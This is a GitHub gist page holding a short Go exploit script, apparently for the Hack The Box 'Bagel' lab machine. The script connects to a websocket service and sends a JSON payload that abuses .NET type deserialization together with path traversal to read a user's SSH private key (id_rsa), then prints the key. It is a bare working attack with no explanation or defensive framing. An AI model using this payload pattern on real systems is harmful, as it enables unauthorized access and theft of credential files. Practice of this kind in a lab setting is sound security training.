Skip to content

Instantly share code, notes, and snippets.

@rudSarkar
Created February 26, 2023 21:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rudSarkar/eeb493b19722d9533a4d68fa001bb052 to your computer and use it in GitHub Desktop.
Save rudSarkar/eeb493b19722d9533a4d68fa001bb052 to your computer and use it in GitHub Desktop.
Read bagel.htb:5000 phil user id_rsa
package main
import (
"fmt"
"log"
"github.com/gorilla/websocket"
)
func main() {
url := "ws://bagel.htb:5000"
conn, _, err := websocket.DefaultDialer.Dial(url, nil)
if err != nil {
log.Fatal("websocket dial:", err)
}
defer conn.Close()
payload := []byte(`{
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "../../../../../../home/phil/.ssh/id_rsa"
}
}`)
if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil {
log.Fatal("write message:", err)
}
_, resp, err := conn.ReadMessage()
if err != nil {
log.Fatal("read message:", err)
}
fmt.Printf("%s", resp)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment